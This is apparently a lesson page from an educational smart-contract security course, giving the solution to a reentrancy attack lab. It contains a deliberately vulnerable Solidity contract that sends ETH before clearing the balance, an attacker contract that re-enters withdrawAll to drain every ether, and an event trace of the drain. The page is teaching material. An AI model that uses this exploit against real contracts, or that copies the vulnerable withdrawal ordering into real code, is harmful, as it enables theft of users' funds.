Skip to main content

Introduction

  • In this lesson, you'll dive into the solution of the Reentrancy Fundamentals: Attack Lab.

Prerequisites

  • Reentrancy Fundamentals: Attack Theory
  • Reentrancy Fundamentals: Attack Lab

Code Solution

Tip

  • To maximize viewing space, click the icon within the bottom left corner
  • Green highlights: Correspond to additions.
  • Red highlights: Correspond to removals.

Vulnerable.sol
24 collapsed lines
// SPDX-License-Identifier: MIT
// WARNING: This is buggy code. Do NOT use in the real world.
pragma solidity 0.8.24;
import "./shared/VulnerableBase.sol";
contract Vulnerable is VulnerableBase {
mapping(address => uint256) public balances;
constructor() payable VulnerableBase() {}
// Allow a customer the ability to deposit funds into their account
function deposit() public payable {
uint256 initialBalance = balances[msg.sender];
balances[msg.sender] += msg.value;
emit AttackerDepositBalance(
initialBalance / 1 ether,
balances[msg.sender] / 1 ether
);
emit VulnerableContractBalance(address(this).balance / 1 ether);
}
// Allow a customer the ability to withdraw all ETH from their account.
function withdrawAll() public {
uint256 beginExecutionBalance = balances[msg.sender];
// COMMENT GROUP A: START
if (beginExecutionBalance <= 0) {
revert("Customer has insufficient balance");
}
(bool success, ) = msg.sender.call{value: beginExecutionBalance}("");
require(success, "Failed to send ETH");
balances[msg.sender] = 0;
// COMMENT GROUP A: END
}
}
Attacker.sol
21 collapsed lines
// SPDX-License-Identifier: MIT
// WARNING: This is buggy code. Do NOT use in the real world.
pragma solidity 0.8.24;
import "./shared/AttackerBase.sol";
contract Attacker is AttackerBase {
// IMPORTANT: ONLY CHANGE THE FUNCTIONS THAT HAVE BEEN OUTLINED IN THE INSTRUCTIONS
uint256 private constant _ATTACK_AMOUNT = 1 ether;
constructor(
address _vulnerableContractAddress
) public payable AttackerBase(_vulnerableContractAddress) {}
function attack() external override {
// Helpful for debugging
emit AttackerContractBalance_(address(this).balance / 1 ether);
// TIP: You can call methods on the vulnerableContract
// E.g., `vulnerableContract.withdrawAll()`
// COMMENT GROUP A: START
vulnerableContract.deposit{value: _ATTACK_AMOUNT}();
vulnerableContract.withdrawAll();
// COMMENT GROUP A: END
// Helpful for debugging
emit AttackerContractBalance_(address(this).balance / 1 ether);
emit VulnerableContractBalance_(
address(vulnerableContract).balance / 1 ether
);
}
// Function is executed when VulnerableContract sends ETH.
receive() external payable override {
// Helpful for debugging
emit AttackerContractBalance_(address(this).balance / 1 ether);
emit VulnerableContractBalance_(
address(vulnerableContract).balance / 1 ether
);
emit AttackerDepositBalance_(
vulnerableContract.balances(address(this)) / 1 ether
);
// TIP: You can call methods on the vulnerableContract
// E.g., `vulnerableContract.withdrawAll()`
// COMMENT GROUP A: START
if (address(vulnerableContract).balance > 0) {
vulnerableContract.withdrawAll();
}
// COMMENT GROUP A: END
}
}

Explanation

Tip:

This section can relate the solution's code to the Process Diagram. Use the Process Diagram (and the Process Diagram's Explanation section) to understand the solution.


Challenge: Attacker.sol should be able to steal all ETH from Vulnerable.sol Challenge: Attacker.sol should not cause a revert operation

Event Trace

Tip:

Use the event trace (below) to understand the solution's execution flow

Event Trace
[CALL] Attacker.attack()
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 1)
[CALL] Vulnerable.deposit{value: 1.0}()
[EVENT] Vulnerable.AttackerDepositBalance(previousEthBalance: 0, currentEthBalance: 1)
[EVENT] Vulnerable.VulnerableContractBalance(currentEthBalance: 11)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 1)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 10)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 2)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 9)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 3)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 8)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 4)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 7)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 5)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 6)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 6)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 5)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 7)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 4)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 8)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 3)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 9)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 2)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 10)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 1)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[CALL] Vulnerable.withdrawAll()
[CALL] Attacker.receive(){value: 1.0}(input: 0x, ret: 0x)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 11)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 0)
[CALL] Vulnerable.balances(arg_0: [Attacker]) → (1 eth)
[EVENT] Attacker.AttackerDepositBalance_(currentEthBalance: 1)
[EVENT] Attacker.AttackerContractBalance_(currentEthBalance: 11)
[EVENT] Attacker.VulnerableContractBalance_(currentEthBalance: 0)

Reflection

  • Self Quiz
    Does the event trace correspond to your understanding of Reentrancy?

Next Steps

  • In the Reentrancy Fundamentals: Defend Theory, you'll learn design patterns that can help mitigate Reentrancy attacks

Disclosures

Warning:

  • Content should be used for educational purposes only. You should not leverage this content for nefarious purposes. Blockbash's authors are not liable for misuse of this content.
  • Everyone makes mistakes, including the authors of Blockbash. All content and recommendations should be verified via another source. Blockbash's authors are not liable for any mistakes. If you've found an error, please create a Github Issue.